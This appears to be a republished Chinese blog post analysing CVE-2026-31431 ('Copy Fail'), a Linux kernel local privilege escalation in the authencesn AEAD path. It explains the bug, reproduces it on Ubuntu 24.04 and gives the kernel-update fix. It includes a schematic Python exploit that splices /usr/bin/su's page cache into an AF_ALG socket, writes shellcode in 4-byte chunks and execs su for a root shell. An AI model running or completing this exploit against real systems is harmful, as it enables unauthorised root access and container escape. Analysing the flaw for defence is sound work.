漏洞CVE-2026-31431解读
1 介绍名称“Copy Fail”CVE-2026-31431披露时间2026年4月29日类型本地提权漏洞等级高危描述2017年的优化commit 72548b093ee3试图让AEAD加解密操作直接在原地完成以减少内存拷贝。然而在解密路径中系统错误地将来源不同的数据映射当作相同缓冲区处理导致解密时将文件page cache中的页面链接到了可写的目标scatterlist中。authencesn解密在验证认证标签前便向该页面写入4个字节。由此攻击者获得了一个完全可控的、直写文件page cache的4字节写入原语。攻击者通过本地执行简短脚本即可从普通用户权限直接提升至root权限并可能导致容器逃逸、云环境租户隔离被突破等严重后果影响范围2017年以来几乎所有主流Linux发行版2 原理通过splice系统调用将/usr/bin/su文件页缓存映射到AF_ALG缓冲区然后利用authencesn算法解密操作时的 BUG越界写入 shellcode使得运行su命令时以root身份启动bash2.1 文件页缓存Linux内核把磁盘上的文件内容缓存到内存中下次读取就不用再访问慢速磁盘。所有进程读取同一个文件时看到的是同一份内存中的缓存数据。页缓存中的内容如果被修改其他进程立刻能看到修改后的版本2.2 splice系统调用splice() 与 read() 的区别把文件内容发送到网络read磁盘文件-内核页缓存-用户缓冲区-内核Socket缓冲区-网络设备splice磁盘文件-内核页缓存––管道缓冲区––Socket缓冲区-网络设备传递引用并不拷贝数据#includefcntl.hssize_tsplice(intfd_in,loff_t*off_in,intfd_out,loff_t*off_out,size_tlen,unsignedintflags);/* 参数 fd_in 输入文件描述符 off_in 输入偏移量NULL 表示使用当前文件指针 fd_out 输出文件描述符 off_out 输出偏移量 len 传输字节数 flags 控制标志 fd_in 和 fd_out 必须至少有一个是管道 */2.3 /usr/bin/su在 Linux 中进程有两个身份标识RUID 启动这个进程的用户IDEUID进程当前拥有的权限正常情况下RUIDEUIDls-l/usr/bin/su -rwsr-xr-x1root root67832Jan1509:23 /usr/bin/sus即为setuid位设置了 setuid 位且所有者是 root 时RUID启动进程的用户idEUIDroot原因su切换用户时需要读取 /etc/shadow验证用户口令 /etc/shadow只有root拥有读取权限2.4 AF_ALGAF_ALG 是 Linux 内核提供的一个套接字地址族它把内核的加密子系统通过网络套接字接口暴露给用户使用其中的authencesn 是 IPsec 协议中用于支持 64位扩展序列号的一个 AEAD 算法包装器在解密过程中会把序列号的低32位越界写到输出缓冲区末尾之后2.5 流程importos,socket# 创建 AF_ALG 套接字并绑定 authencesn 算法socksocket.socket(socket.AF_ALG,socket.SOCK_SEQPACKET,0)sock.bind((aead,authencesn(hmac(sha256),cbc(aes))))sock.setsockopt(socket.SOL_ALG,socket.ALG_SET_KEY,key)conn,_sock.accept()# 只读打开目标 setuid 文件su_fdos.open(/usr/bin/su,os.O_RDONLY)offsettarget_offset# 将shellcode拆分为多个4字节块注入su中合适的位置forchunkinshellcode_chunks:# AAD[4:8] 要注入的 4 字节aadb\x00*4chunk# splice 文件页缓存引用 → 管道 → AF_ALGpipe_rd,pipe_wros.pipe()os.splice(su_fd,pipe_wr,offset,732)os.splice(pipe_rd,conn.fileno(),0,732)# 触发 authencesn 解密越界写入页缓存conn.sendmsg([aad],[control_msg])conn.recv(1024)os.close(pipe_rd)os.close(pipe_wr)offset4# 执行被篡改的 su获得 root shellos.execve(/usr/bin/su,[su],os.environ)3 复现环境vmwareubuntu24.04首先检查algif_aead是否加载AF_ALG 是套接字接口当一个程序通过 AF_ALG 接口请求使用 AEAD 加密算法时内核就会调用 algif_aead 模块来处理这个请求algif_aead模块已经加载因此存在漏洞在这里下载脚本代码python3执行获得root权限4 修复将内核更新至包含commit a664bf3d603d 的版本sudoaptupdatesudoaptfull-upgrade-y再次执行发现漏洞已经被修复
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2576149.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!